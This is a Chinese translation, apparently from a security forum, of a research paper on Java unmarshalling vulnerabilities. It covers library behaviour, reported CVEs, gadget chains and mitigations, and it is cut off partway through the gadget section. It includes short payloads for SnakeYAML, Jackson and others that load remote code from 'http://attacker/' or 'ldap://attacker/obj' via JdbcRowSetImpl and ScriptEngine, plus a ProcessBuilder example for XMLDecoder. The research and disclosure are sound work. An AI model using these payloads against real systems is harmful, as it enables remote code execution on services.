登录

Java Unmarshaller Security（将您的数据转化为代码执行）

jax777 / 2019-06-12 09:02:00 / 浏览数 6397 安全技术 WEB安全 顶(1) 踩(0)

原文：https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf

两年前(当前2019年，已为四年前)Chris Frohoff 和 Garbriel
Lawrence发表了他们关于java对象反序列化漏洞的研究，这可能引发了java历史上规模最大的一系列远程代码执行漏洞。对这一问题的研究表明，这些漏洞不仅仅表现为jav
marshalling组件库的分析。研究表明，无论这个过程如何执行以及包含何种隐含的约束，大家都倾向采用类似的开发技术。尽管大多数描述的机制都没有比java序列化实现
(为了与java内置的序列化相冲突，本文的marshalling指任何将java的内部表示转换到可以存储、传输的机制)

免责申明:
这里所有提供的信息仅供学习目的。所有引用的漏洞已经负责任地通知向相关厂商。尽管所有的厂商已经被给予了大量时间，现阶段可能仍有部分漏洞还未被修复，然而，本

1 介绍

除了极少数例外，java marshallers
提供了将各自的目标格式转换到对象图（树）的方法。这允许用户使用结构化和适当类型的数据，这当然是java中最自然的方式。

在marshalling和unmarshalling过程中marshaller需要与source以及target
对象交互来设置或读取属性值。这种交互广泛的存在于javaBean约定中，这意味着通过getter 和 seter
来访问对象属性。其他机制直接访问实际的java字段。对象还可能有一种可以生产自然的自定义表示机制，通常，为了提高空间效率或增加表示能力，内置的某些类型转换不

本文明确的重点就是unmarshalling过程，攻击者更有可能控制该过程的输入。在第五节中，描述了一些可能杯攻击的marshalling组件。

在多数情况下,在unmarshalling时，预期的root对象已知--
毕竟人们大多希望对接收到的数据做些事情。可以使用反射递归确认属性类型。然而许多具体实现，都没有忽略非预期的类型。java提供了继承和接口用来提供多态性，进而

为攻击者提供一个某种类型来unmarshal，进而在执行该类型上的特定方法。显然，人们的预期时这些组件表现良好-- 那么是什么导致可能发生问题呢?

开源的java marshalling 库通常针对某一类型，列表如下：

- SnakeYAML (YAML)
- jYAML (YAML)
- YamlBeans (YAML)
- Apache Flex BlazeDS (AMF Action Message Format, originally developed by Adobe)
- Red5 IO AMF (AMF)
- json-io (JSON)
- Castor (XML)
- Java XMLDecoder (XML)
- Java Serialization (binary)
- Kryo (binary)•Hessian/Burlap (binary/XML)
- XStream (XML/various

Jackson 是一个通常遵循实际属性的实现例子。然而，他的多态unmarshalling 支持一种操作任意类型的模式。

没有这种风险行为的明显例外：

- JAXB 需要所有的类型都已注册
- 需要已定义模式或编译的机制(例如XmlBeans、Jibx、Protobuf)
- GSON 需要一个特点root类型，遵循属性类型，多态机制需要提前注册
- GWT-RPC 提供了类型信息，但自动构建了白名单。

2 工具

大多数gadget搜索都是Serianalyzer的一点点增强版完成的。Serianalyzer,起初开发用于Java
反序列化分析，是一个静态字节码分析器，从一组初始方法出发，追踪各类原生方法潜在的可达路径。调整这些起始方法以匹配unmarshalling中可以完成的交互（可能寻找

3 Marshalling 组件库

这里描述了各式 Marshalling
机制，对比了他们之间的相互影响以及unmarshall执行的各种检查。最基本的差别是他们如何设定对象的值，因此下面将区分使用Bean属性访问的机制和只使用直接字段访

3.1 基于Bean 属性的 marshallers

基于Bean 属性的 marshallers
或多或少都遵守类型的API来阻止一个攻击者任意修改对象的状态，并且能重建的对象图比基于字段的marshallers重建少。但是，它们调用了setter方法，导致在unmarsha

3.1.1 SnakeYAML

SnakeYAML 只允许公有构造函数和公有属性。它不需要相应的getter方法。它有一个允许通过攻击者提供的数据调用任意构造函数的特性。这使得攻击 ScriptEngine（甚至也可能影响更多，这是一个令人难以置信的攻击面）成为可能。

```
!! javax.script.ScriptEngineManager [
   !!java.net.URLClassLoader  [[
       !!java.net.URL ["http :// attacker /"]
   ]]
]
```

通过 JdbcRowset 仅用属性访问也能实现攻击

```
!!com.sun.rowset.JdbcRowSetImpl
   dataSourceName: ldap :// attacker/obj
   autoCommit: true
```

SnakeYAML 指定一个特定实际使用的root类型，然而并不检查嵌套的类型。

References

cve-2016-9606 Resteasy

CVE-2017-3159 Apache Camel

CVE-2016-8744 Apache Brooklyn

可用的payloads

- ScriptEngine (4.16)
- JdbcRowset (4.2)
- C3P0RefDS (4.8)
- C3P0WrapDS (4.9)
- SpringPropFac (4.10)
- JNDIConfig (4.7)

修复、缓解措施

SnakeYAML 提供了一个SafeConstructor,禁用所有自定义类型。或者，白名单实现一个自定义Constructor。

3.1.2 jYAML

jYAML 解析自定义类型的语法与 SnakeYAML 有些细微的差别，并且不支持任意构造函数调用。这个项目被抛弃了。它需要一个public 构造函数以及相应的 getter 方法。

jYAML 允许使用 相同的基于属性的和 SnakeYAML 相同的 payloads， 包括 JdbcRowset ：

```
foo: !com.sun.rowset.JdbcRowSetImpl
   dataSourceName: ldap :// attacker/obj
   autoCommit: true
```

由于 getter 的特殊要求 SpringPropFac 不能触发。jYAML 不允许指定root类型，但他根本就没有检查。

可用 payloads

- JdbcRowset(4.2)
- C3P0RefDs(4.8)
- C3P0WrapDS(4.9)

修复、缓解措施

似乎并没有提供一个机制实现白名单

3.1.3 YamlBeans

YamlBeans 对自定义类型使用另一种语法。它仅允许配置过或注释过的构造函数被调用，它需要一个默认构造函数（不一定必须是public）以及相应的 getter 方法。YamlBeans 通过字段枚举一个类型的所有属性，意味着只有那些 setter 函数与字段名相关的才能被使用。 YamlBeans 中 JdbcRowset

不能被触发，因为需要的属性没有一个相应的字段与之匹配。 C3P0WrapDS 却任然能触发。

```
!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
   userOverridesAsString: HexAsciiSerializedMap:<payload >
```

YamlBeans 允许指定 root 类型，但它事实上并不做检查。 YamlBeans 有一系列配置参数，例如 禁止non-public 构造函数 或者直接字段可用。

可用 payloads

- C3P0WrapDS(4.9)

修复、缓解措施

似乎并没有提供一个机制实现白名单

3.1.4 Apache Flex BlazeDS

Flex BlazeDS AMF unmarshallers 需要一个public 默认构造函数和public stters。（ marshalling 的实现过程中需要getters；然而，没有那些的 payloads 通过一个自定义的 BeanProxy 也可以被构建，当然这个BeanProxy 也需要获得某些类型的属性排序）

AMF3/AMFx unmarshallers 支持 java.io.Externalizable 类型，这可以通过 RMIRef 来到达 Java 反序列化。（ deserialization ）。它们都内置了针对 javax.sql.RowSet 自定义子类的转换规则，这就意味着 JdbcRowset 不能被 unmarshalled。 其他可用的有效载荷包括 Spring-PropFac 和 C3P0WrapDS (如果他们被添加到路径中)。

不允许指定根类型，也不检查嵌套的属性类型。

References

CVE-2017-3066 Adobe Coldfusion

CVE-2017-5641 Apache BlazdDS

CVE-2017-5641 VMWare VCenter

可用 payloads

- RMIRef(4.20)
- C3P0WrapDS(4.9)
- SpringPropFac(4.10)

修复、缓解措施

可用通过DeserializationValidator 实现一个类型白名单。更新待版本4.7.3，默认开启白名单

3.1.5 Red5 IO AMF

Red5 有自定义的 AMF unmarshallers ，与 BlazeDS 有些许不同。它们都需要一个默认的 public 构造器 和public setters 。仅通过自定义标记接口支持外部化类型。

但是，它没有实现 javax.sql.RowSet 自定义逻辑， 因此可以通过 JdbcRowset 、 SpringPropFac 和 C3P0WrapDs 实现攻击， 都依赖于 Red5 服务。

References

CVE-2017-5878 Red5 , Apache OpenMeetings

可用 payloads

- JdbsRowset(4.2)
- C3P0WrapDS(4.9)
- SpringPropFac(4.10)

3.1.6 Jackson

Jackson
,在它的默认配置中，执行严格的运行时类型检查，包括一般类型收集和禁止特殊、任意类型，因此在默认配置中它是无法被影响的。但是，它有一项配置参数来启用多态 unmarshalling,包括使用 java 类名的选项。Jaclson 需要一个默认构造器和setter 方法（ 不区分public 和private ，均可行）。

类型检查在这些模式下也起作用，所有攻击也需要一个 使用supertype的 readValue() 或具有该类型的嵌套字段、集合。

这里有类型信息的一系列表现形式，都表现为相同的行为。因此，有多种方法来开启这种多态性，全局的 ObjectMapper->enableDefaultTyping(),一个自定义的 TypeResolverBuilder ，或者使用 在字段上使用 @JsonTypeInfo 注释。取决于 Jackson的版本，也行可以使用 JdbsRowset 进行攻击：

```
["com.sun.rowset.JdbcRowSetImpl ",{
   "dataSourceName ":
   "ldap :// attacker/obj",
   "autoCommit" : true
}]
```

但是，那并不会在 2.7.0以后版本生效, 因为 Jackson 检查是否定义了多个冲突的setter方法， JdbcRowSetTmpl 有 3个对应 'matchColumn' 属性的setter 。Jackson 2.7.0 版本为这种场景添加了一些分辨逻辑。不幸的事，这个分辨逻辑有bug：依赖于 Class->getMethods() 的顺序，然而这是随机的（但缓存使用 SoftReference ，所以只要进程一直运行，就不会得到另一次机会），检查因此失效。

除此之外，Jackson 还可以使用 SpringPropFac, SpringB-FAdv, C3P0RefDS, C3P0WrapDS ，RMIRemoteObj 进行攻击。

References

REPORTED Amazon AWS Simple Workflow Library

REPORTED Redisson

cve-2016-8749 Apache Camel

可用 payloads

- JdbcRowset (4.2)
- SpringPropFac (4.10)
- SpringBFAdv (4.12)
- C3P0RefDS (4.8)
- C3P0WrapDS (4.9)
- RMIRemoteObj (4.21)

修复、缓解措施

显式地使用 @JsonTypeInfo 和 JsonTypeInfo.Id.NAME，明确subtypes的多态性。

3.1.7 Castor

需要一个public 默认构造器。这个有几个特性，其中一个是调用顺序不完全由攻击者确定--原始属性总是在对象前被设定，它支持额外的属性访问方法调用，即 addXYZ（java.lang.Object）和createXYZ（ ），并根据声明的类型过滤一些属性。（这看起来像一个bug : 如果什么的非抽象类型没有public 的默认构造函数，即使子类型有也会忽略改属性。虽然Castor 运行通过 javax.management.loading.MLet 来构造 URLClassLoader ,但由于 supertype 没有public 默认构造函数，那么也无法为实例注入属性。如果这是可能的，那么 Castor 本身甚至会有一个可被攻击的实例。 ）

原始对象的策略阻止了 JdbcRowset 的利用，因此需要在 'autoCommit'属性之前设置字符串'dataSourceName'的值。(它看起来不像一个标准库bug ，这有一个替代路径com.sun.rowset.CachedRowSetImpl->addRowSet() 到com.sun.rowset.JdbcRowSetImpl->getMetaData())

使用特定的 top-level 类型，但不检查嵌套类型

References

NMS-9100 OpenNMS

可用 payloads

- SpringBFAdv (4.12)
- C3P0WrapDS (4.9)

修复、缓解措施

没有配置白名单的选项，实现起来有点棘手。

3.1.8 Java XMLDecoder

完全出于完整性的目的。众所周知，这种方法非常危险，因为它允许任意方法以及对任意类型的构造函数调用。

```
<new  class="java.lang.ProcessBuilder">
   <string >/usr/bin/gedit</string ><method  name="start" />
</new>
```

修复、缓解措施

使用这个时，永远不要相信data。

3.2 基于字段的 marshallers

基于字段的 marshallers 通常在构造对象进行方法调用时提供的攻击面要小得多--有些甚至在不调用任何方法的情况下 unmarshal
非集合对象。同时，因为几乎没有那种可以不设置私有字段就被还原的对象，它们的确会直接影响对象内部结构，从而产生一些意想不到的副作用。另外，许多类型(
first 和 foremost 集合)无法使用它们的运行时表示有效地传输/存储。这就意味着所有基于字段的 marshallers
都会与为某些类型自定义的转换器绑定。这些转换器经常会发起攻击者提供的对象内的方法。例如，集合插入 会调用
java.lang.Object->hashCode(),java.lang.Object->equals(), 和 java.lang.Comparable->compareTo()
来分类变量。根据具体实现，也许有其他的可以被触发。

3.2.1 Java Serialization

许多人，包括作者，自从 Chris Frohoff 和 GarbrielLawrence 发布了他们关于 Commons Collections, Spring Beans 和 Groovy 的RCE payloads 都对 Java
序列化 gadgets 做过研究。尽管之前已经知道了类似的问题，Frohoff 和 Lawrence
的研究表明这不是孤立事件，而是一般性问题的一部分。这有许多可用的攻击组件，ysoserial 提供了大多数已发布的 gadgets
存储仓库，因此这里不会有更多的细节，除非他们可用用于其他机制。

可用 payloads

- XBean(4.14)
- BeanComp(4.17)

修复、缓解措施

Java 8u121 版引入了一个标准类型过滤机制。可以实现各种用户空间的白名单过滤。

3.2.2 Kryo

Kryo ，默认配置下需要一个默认的public 构造函数 并且 不支持代理，许多已知的gadgets 都不能工作。然而它的实例化策略是可插式的，可以用
org.objenesis.strategy.StdInstantiatorStrategy 替换。 StdInstantiatorStrategy 基于 onReflectionFactor，这就表示自定义构造函数不会被调用，
java.lang.Object 的构造函数仍会被调用。这就可以通过 finalize() 进行攻击。Arshan dabirsiaghiha s已经描述了一些严重的副作用

使用 Kryo 支持通过自定义比较器来排序集合， BeanComp 会在这里被调用。 SpringBFAdv 也可以工作，包括恢复常规 BeanFactorys
4.13的能力。如果替代实例化策略，将有更多的 gadgets 可用。(以及像 java.util.zip.ZipFile 的终止器-- 内存破坏(也可能被进一步利用))

Kryo 允许在 unmarshalling 时提供一个实际使用的 root 类型。对于嵌套的字段，这些检查值适用于具体类型，这意味着任何非最终类型都可用于触发任意类型的
unmarshalling 操作。

可用 payloads

- BeanComp (4.17)
- SpringBFAdv (4.12)

替代策略 可用 payloads

- BindingEnum (4.4)eg
- ServiceLoader (4.3)
- LazySearchEnum (4.5)
- ImageIO (4.6)
- ROME (4.18)
- SpringBFAdv (4.12)
- SpringCompAdv (4.11)
- Groovy (4.19)
- Resin (4.15)

附加风险

Kryo 可启用额外的转换器：BeanSerializer，一旦启用，意味着seter会被调用，也就是 JavaSerializer 和 ExternalizableSerializer。

修复、缓解措施

Kryo可以设置为要求注册所有正在使用的类型。

3.2.3 Hessian/Burlap

Hessian/Burlap,默认通过 sun.misc.Unsafe 使用无副作用的实例化,不对临时字段进行还原，不允许任意代理，不支持自定义集合比较函数。

乍一看，它们似乎在检查 java.io.Serializable 。然而检查仅在 marshalling 时进行， unmarshalling 时未检查。如果检查生效，大多数通过 pass
其他限制的攻击链就无法使用。但是，事实上检查并不生效，可以通过不可序列化的 SpringCompAdv 、 Resin，和可序列化的 ROME 、 XBean 进行攻击。

无法恢复 Groovy 的 MethodClosure ，因为调用 readResolve() 会抛出异常。

可以在 unmarshalling 过程中指定使用特定的 root 类型，然而，用户可以提供一个任意的、甚至不存在的类型。同时嵌套属性也将使用任意类型进行 unmarshall。

References

REPORTED Included RPC servlets

REPORTED Caucho Resin (RPC/HTMP)

UNRESP TomEE/openejbhessian

REJECT Spring Remoting

可用 payloads

- SpringCompAdv (4.11)
- ROME (4.18)
- XBean (4.14)
- Resin (4.15)

附加风险

提供了一个 BeanSerializerFactory 选项，这就意味着 setter 方法会被调用。基于 fallback 属性的 Java
反序列化器调用了各类无参数、默认参数的构造函数。如果配置了远程对象机制，可能用于DOS，似乎允许构建模拟对象（攻击者可以通过任意接口proxy的代理控制他们的
gadgets ），可能运行攻击者使用无法到达的 endpoints 。

修复、缓解措施

4.0.51 版本通过 ClassFactory 实现了一个白名单选项。

3.2.4 json-io

调用了或多或少的任意构造函数，不支持代理。临时字段不进行保持，但是如果手动设置了进行恢复。这里包含几个别的小玩意：

"Brute-Force-Construction" : 如果没有默认构造器，json-io 会使用默认参数、或空参数尝试其他构造器直到成功一次。

"Two-Stage-Reconstruction" : 依赖于 hashCode() 的集合只有在所有其他对象都恢复之后才会恢复。例如，调用hashCode()
时，嵌套集合可能无法恢复。如果一个 gadget 通过集合插入被调用，并且本身就需要一个集合字段，可能需要一些技巧才能以正确的顺序获取这些
gadgets。

可以恢复 TemplatesImpl 和 Spring 的 DefaultListableBeanFactory，因此某些 gadgets 可能可以执行字节码。

root 类型不能被指定。

References

MGNLCACHE-165 Magnolia CMS

UNRESP json-command-servlet

可用 payloads

- LazySearchEnum (4.5)
- SpringBFAdv (4.12)
- Groovy (4.19)
- ROME (4.18)
- XBean (4.14)
- Resin (4.15)
- RMIRef (4.20)
- RMIRemoteObj (4.21)

修复、缓解措施

暂时还没有白名单。维护人员没有回应。

3.2.5 XStream

本身已经有过大量针对XStream的警告信息和 exp 了。targeting java.beans.EventHandler 、targeting Groovy 。 XStream 试图允许尽可能多的对象图，默认转换器与java Serialization 类似。除了调用第一个不可序列化的父构造函数外， java Serialization 可用的 XStream 都可用，包括代理构造。这就表示大部分 java Serialization 的 gadgets 都可以工作。这些类型甚至不需要实现 java.io.Serializable 。

root 类型可用在unmarshalling 时指定，但不会检查。

应该记住禁用 SerializableConverter/ExternalizableConverter、DynamicProxyConverter 都不能完全防御 gadgets 。使用 ServiceLoader, ImageIO,LazySearchEnum, and BindingEnum，这些标准库的向量甚至都不需要使用代理。

References

CVE-2016-5229 Atlassian Bamboo

CVE-2017-2608 Jenkins

REPORTED NetflixEureka

可用 payloads

- ImageIO (4.6)
- BindingEnum (4.4)
- LazySearchEnum (4.5)
- ServiceLoader (4.3)
- BeanComp (4.17)
- ROME (4.18)
- JNDIConfig (4.7)
- SpringBFAdv (4.12)
- SpringCompAdv (4.11)

附加风险

XStream 提供了 JavaBeanConverter 选项，基于 bean setter 机制的exp变得可用。

修复、缓解措施

XStream 通过 TypePermission 提供了类型过滤，可以来实现白名单。

4 Gadgets/Payloads

出于测试目的，所有描述的 gadget payloads 生成器都一次发布于 https://github.com/mbechler/marshalsec/

4.1 Common

有两种方法可以最终实现 Java 中任意代码的执行。除了通过 Runtime->exec() 执行系统命令，还有 java.lang.ProcessBuilder 和脚本运行时环境,这通常涉及到攻击者提供的字节码定义一个类，并初始化。在这方案中将会构造一个 java.net.URLClassLoader 关联到攻击者提供的代码库从中初始化 class 。要触发这类机制，通常需要执行任意方法调用的能力，因此，通常需要中介来执行由某些交互触发的调用。

4.1.1 XalanTemplatesImpl

这个类第一次使用是在2013年，由 Adam Gowdiak 用于沙箱逃逸和在调用某些方法时提供通过 Java 字节码来直接定义和初始化类的能力。 Oracle/OpenJDK 是一个修改过的 Xalan 副本，所以这有两种选择 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl（没有附加类路径限制、都可用） 和上游实现的 org.apache.xalan.xsltc.trax.TemplatesImpl（ 需要将其添加入路径）。

两者之间有一些细微但重要的区别。Java 8u45 版本之后，取消了在访问实现代码执行之前对临时变量 _tfactoryfield的引用。这意味着为了恢复一个对我们有用的对象，我们要么需要能够设置临时字段来调用任意构造函数，要么需要调用一个 unmarshaller 的 readobject()。原始的 Xalan 实现没有这个限制。

其他必需字段的setter 是 private/protected ，因此只能用于哪些支持调用 non-public setters的 unmarshallers 。

为了触发类初始化、代码执行，大多数情况下 newTransformer() 都要被用到。但是它可以通过 public getOutputProperties() 或 private getTransletInstance() 来触发。

4.1.2 Code execution via JNDI references

JNDI 提供多种访问目录复杂存储对象的机制。至少有两种机制， RMI 和 LDAP 允许 原生 Java 对象通过目录服务被访问，他们使用 Java Serialization 存储、传输。两种机制都允许从代码库中加载 class 。然而，由于显而易见的安全因素，这些机制在相当长的一段时间内默认没有被启用。

但是JNDI也有一个引用机制，允许将 JNDI 存储的对象指示到其他目录位置加载。 这些引用也可以指定一个 javax.naming.spi.ObjectFactory 来实例化、检索他们。允许指定一个代码库来装载 factory class，不管是什么原因，这里并没有对它进行任何限制。利用这种机制，在RMI LDAP 中发布攻击exp 。 Java 8u121 添加了对代码库的限制，但是仅仅是 RMI。

使用攻击者提供的参数调用 javax.naming.InitialContext->lookup() ，这样就会连接到攻击者控制的服务器。 该服务器可以返回一个指定 object factory 的引用，一个攻击者控制的url(代码库)。

默认的 JNDI 实现会直接利用提供的代码库构造一个 URLClassLoader，通过它加载指定的class 进而执行了攻击者的恶意代码。（有关代码在 javax.naming.spi.NamingManager->getObjectInstance() ）

应该注意到，有些可能会重写 object factory 的行为(javax.naming.spi.NamingManager->setObjectFactoryBuilder()),至少 Wildfly/JBoss 的实现就限制了通过远程代码库加载 object factories。但是,仍然可以使用这个向量触发攻击者数据的java反序列化。

如果 javax.naming.Context 实例被攻击者控制且 javax.naming.spi.ContinuationContext 可以被恢复，网络链接可以配置，通过 getTargetContext() ，ContinuationContext 方法将触发对一个提供引用的解除。（com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl 这会包含一些详细信息 ）

4.2 com.sun.rowset.JdbcRowSetImpl

来自Oracle/OpenJDK标准库。 实现了 java.io.Serializable ， 有一个默认构造函数，使用的属性也有 getters 函数。代码执行需要两个顺序正确的 setter 调用。

1. 设置 JNDI URI 的 'dataSourceName'属性
2. 设置 'autoCommit' 属性
3. 结果会调用 connect()

   调用 InitialContext->lookup() 来提供 JNDI URI

   适用于

   SnakeYAML (3.1.1), jYAML (3.1.2), Red5 (3.1.5), Jackson (3.1.6)

   更新 : fastjson <= 1.2.24

4.3 java.util.ServiceLoader$LazyIterator

来自Oracle/OpenJDK标准库。未实现 java.io.Serializable,没有默认构造函数，没有 bean setters 。 需要支持内部类实例（替代方案 sun.misc.Service$LazyIterator 不需要 ），以及恢复 URLClassLoader 的能力。

1. 创建一个带有 URLClassLoader 实例的 LazyIterator
2. 调用 Iterator->next() 加载远程服务，从远程实例化指定的 class

根据不同情况，可能有不同的机会调用 Iterator->next() :

1. 使用 java.util.ServiceLoader 调整 Iterator 到 Iterable， 寻找一个可以通过 Iterable 中一个可达调用触发 iteration 的class(标准库中似乎没有这种class 存在 ，但确实存在 比如 hudson.util.RunList)
2. 创建一个 mock proxy 返回某些集合类型的迭代器。触发这些的情况十分普遍。直至 Java 8u71, 标准库 AnnotationInvocationHandler 都能被用于构建提到的 mock proxy ， 例如 Google Guice （ anonymous class ）或者 Hibernate Validator（org.hibernate.validator.util.annotationfactory.AnnotationProxy ）

如果 unmarshaller 能恢复所有组件，那么甚至仅仅一个标准库就能组成利用链完成利用，不需要使用任何 proxy。

1. hashCode() jdk.nashorn.internal.objects.NativeString 触发 NativeString->getStringValue()
2. getStringValue() 调用 java.lang.CharSequence->toString()
3. com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data 的 toString() 调用 Base64Data->get()
4. Base64Data->get() 触发一个 read() , 来自 javax.activation.DataSource 提供的 java.io.InputStream。 com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource 提供了一个预先存在的实现。
5. javax.crypto.CipherInputStream 的 read() 调用 javax.crypto.Cipher->update()

   javax.crypto.Cipher->update() 导致 chooseFirstProvider() ，从而触发一个提供的任意 Iterator/

   适用于

   Kryo(3.22) XStream(3.25)

4.4 com.sun.jndi.rmi.registry.BindingEnumeration

来自Oracle/OpenJDK标准库。未实现 java.io.Serializable,没有默认构造函数，没有 bean setters 。x需要触发 JNDI/RMI lookups, 因此从 Java 8u121 之后就无法实现直接 code execution 了。

1. 和4.3 描述的一样 使用一个 iterator 触发器
2. ServiceLoader.LazyIterator 的 hasNext() 和 next() 触发 Enumeration->next()

   调用 BindingEnumeration->next() 触发一个 'names' 中第一个name 的 JNDI/RMI lookup(参阅 4.1.2)

   适用于

Kryo(3.22) XStream(3.25)

4.5 com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl

来自Oracle/OpenJDK标准库。未实现 java.io.Serializable,没有默认构造函数，没有 bean setters 。与 BindingEnumeration 十分相似，但是不允许使用一个任意的 DirContext(java 接口 javax.naming.directory DirContext)。

1. 和4.3 描述的一样 使用一个 iterator 触发器
2. ServiceLoader.LazyIterator 的 hasNext() 和 next() 触发 Enumeration->next()
3. LazySearchEnumerationImpl->next() 调用 findNextMatch()
4. findNextMatch() 从嵌套的 “candidates” 枚举中获取下一个 Binding。 binding 的值 用作一个 getAttributes() 调用的 DirContext

   ContinuationDirContext->getAttributes() 调用 ContinuationDirContext->getTargetContext()， 反过来使用 ContinuationContext 里 javax.naming.CannotProceedException 提供的 Reference 对象调用javax.naming.spi.NamingManager-> getContext（ ）。最终从 Reference 指定的远处库中加载一个class。

   适用于

   Kryo(3.22) json-io(3.2.4) XStream(3.25)

4.6 javax.imageio.ImageIO$ContainsFilter

来自Oracle/OpenJDK标准库。未实现 java.io.Serializable,没有默认构造函数，没有 bean setters 。需要恢复一个 java.lang.reflect.Method 实例。

1. 和4.3 描述的一样 使用一个 iterator 触发器
2. javax.imageio.spi.FilterIterator->next() 调用 FilterIterator$Filter->filter()

   javax.imageio.ImageIO$ContainsFilter->filter() 会调用 FilterIterator 支持的 Iterator 所提供对象上的一个方法。

   适用于

   Kryo(3.22) XStream(3.25)

4.7 Commons ConfigurationJNDIConfiguration

需要在路径上配置 commons-configuration 。 未实现 java.io.Serializable，有些没有默认构造器， 没有 bean stters。 需要恢复 set 或 map 上的额外字段，或者能够使用攻击者的数据调用任意构造函数。

1. 几乎 Configuration(Map|Set) 上的所有方法调用 报告 hashCode() 结果都会调用 Configuration->getKeys()。

   JNDIConfiguration->getKeys() 通过 getBaseContext() 会引发一个 JNDI lookup 到攻击者提供的 URI。

   适用于

   SnakeYAML(3.1.1) XStream(3.25)

4.8 C3P0 JndiRefForwardingDataSource

需要路径上配置 c3p0。 是 private 包， java.io.Serializable ， 有默认构造器，用到的属性也有 getters 。 代码执行需要两个 setter 的正确顺序调用。

1. 设置 JNDI URI 的 'jndiName' (参阅 4.12)
2. 将 'loginTimeout' 设置为任何触发 inner() 的值

   inner() 触发 dereference() 导致引发一个 JNDI lookup 到攻击者提供的 URI

   适用于

   SnakeYAML(3.1.1) jYAML (3.1.2), Jackson (3.1.6)

4.9 C3P0WrapperConnectionPoolDataSource

需要路径上配置 c3p0。 java.io.Serializable ， 有默认构造器（需要被调用），用到的属性也有 getters 。 代码执行只需要一个 setter 的调用。

1. 设置 'userOverridesAsString' 属性来触发在构造函数上注册 PropertyChangeEvent listener
2. listener 利用属性值调用 C3P0ImplUtils->parseUserOverridesAsString()。 一部分值会进行16进制解码（ 剔除前22个字符和最后一个 ）以及 java 反序列化（当然这里可以使用 java deserialization 的 gadget ）
3. 如果 deserialized 的对象实现了这个接口， com.mchange.v2.ser.IndirectlySerialized->getObject() 就会被调用。

com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized 就是这样一个实现，它会实例从远程实例化一个类作为 JNDI ObjectFactory。

适用于

SnakeYAML (3.1.1), jYAML (3.1.2), YamlBeans (3.1.3), Jackson (3.1.6),BlazeDS (3.1.4), Red5 (3.1.5), Castor (3.1.7)

4.10 Spring BeansPropertyPathFactoryBean

需要在路径中存在 spring-beans 和 spring-context。两个类型都有默认构造函数。 SimpleJndiBeanFactory 未实现 java.io.Serializable，属性也没有各自的 getter 方法。 Spring AOP 提供了至少两种类型可以替代 PropertyPathFactoryBean 。

1. 设置 PropertyPathFactoryBean 的 targetBeanName 'targetBeanName' 属性未 JNDI URI ,'propertyPath' 设为非空。
2. 设置 'beanFactory' 属性未 SimpleJndiBeanFactory 的一个对象， 并将其 'shareableResources' 属性设置为一个包含 JNDI URI 的 array 。
3. setBeanFactory() 会检查目标 bean 是单例模式(因为我们将其设置为可共享资源)，并使用 bean name 调用beanfactory->getBean()

会调用 JndiTemplate->lookup() 最终触发 InitialContext->lookup()

适用于

SnakeYAML (3.1.1), BlazeDS (3.1.4), Jackson (3.1.6)

4.11 Spring AOPPartiallyComparableAdvisorHolder

需要路径中存在 spring-aop 和 aspectj。不需要构造函数调用，也不需要恢复非 java.io.serializable 的能力。

1. 在 PartiallyComparableAdvisorHolder 上触发 toString()
2. 在 PartiallyComparableAdvisorHolder->toString() 里 (Advisor & Ordered)->getOrder()
3. AspectJPointcutAdvisor->getOrder() 调用 AbstractAspectJAdvice->getOrder()
4. AspectInstanceFactory->getOrder()
5. BeanFactoryAspectInstanceFactory->getOrder() 最终调用 BeanFactory->getType()
6. SimpleJndiBeanFactory->getType() 触发 JNDI lookup

获取 tostring() 调用并不像使用Java deserialization 那样简单 ,但是也是可能的。 com.sun.org.apache.xpath.internal.objects.XObject 会在equals() 方法中调用 toString()。 标准库 collections 检查相等时，仅仅判断对象的 hash 值是否匹配。 但是 XObject 的 hash 值可以通过正确的选择她的 string 值进而被设置为一个任意值 ，PartiallyComparableAdvisorHolder 没有 hashCode() 的实现,它的表现就无法预测。 HotSwappableTargetSource 修复了这个问题： 它有一个修复了的 hash code ，提供 HotSwappableTargetSource 给其 equals() 方法 将会检查他们的 'target' （ 是 object 类型 ）字段的值是否相等

适用于

Kryo (3.2.2)†, Hessian/Burlap (3.2.3), XStream (3.2.5)

4.12 Spring AOPAbstractBeanFactoryPointcutAdvisor

路径中需要存在 spring-aop。 需要默认构造函数调用或恢复临时字段的能力，以及恢复非 java.io.serializable 的能力。

1. AbstractPointcutAdvisor->equals() 调用 AbstractBeanFactoryPointcutAdvisor->getAdvice()
2. AbstractBeanFactoryPointcutAdvisor->getAdvice() 调用 BeanFactory->getBean()

SimpleJndiBeanFactory->getBean() 触发 the JNDI lookup.

适用于

SnakeYAML (3.1.1), Jackson (3.1.6), Castor (3.1.7), Kryo (3.2.2),Hessian/Burlap (3.2.3), json-io (3.2.4), XStream (3.2.5)

4.13 SpringDefaultListableBeanFactory

假设这个机制可以被恢复 ，SimpleJndiBeanFactory（ 4.1，4.11，4.12 中用到 ） 也能被 DefaultListableBeanFactory 替代。 需要有恢复 non-java.io.Serializable 对象、恢复临时字段、或调用构造函数能力，不能通过调用 readObject() 或 setter 方法实现。 Alvaro Muñoz 之前描述过它在 Java Serialization 中的使用。CVE-2011-2894

然而 ，他的方向需要用到 proxy 。 Spring 对象构造函数可以通过 上面 描述的 SpringBFAdv (4.12) 或 SpringPropFac (4.10) 链来触发。

4.14 Apache XBean

依赖 xbean-naming 。 不需要构造函数调用。 所有涉及的class 均 java.io.Serializable

1. 使用 SpringCompAdv (4.11)中描述的 org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding 触发 toString()。
   实例没有一个稳定的hashCode(),所有还需要额外的操作。
2. javax.naming.Binding->toString() 调用 getObject().
3. ReadOnlyBinding->getObject() 利用提供的 javax.naming.Reference 调用 ContextUtil->resolve()

   ContextUtil->resolve() 调用 javax.naming.spi.NamingManager->getObjectInstance() (bypass 了 最近新增的代码库关于 JNDI References 的限制)

   适用于

   SnakeYAML (3.1.1), Java Serialization (3.2.1), Kryo (3.2.2)†, Hessian/Burlap (3.2.3),json-io (3.2.4), XStream (3.2.5)

4.15 Caucho Resin

依赖 Resin 。不需要调用构造函数。javax.naming.spi.ContinuationContext 未实现 java.io.Serializable.

1. 使用 SpringCompAdv (4.11) 中描述的 com.caucho.naming.QName 触发 toString()。 它有一个稳定的 hashCode() 实现。
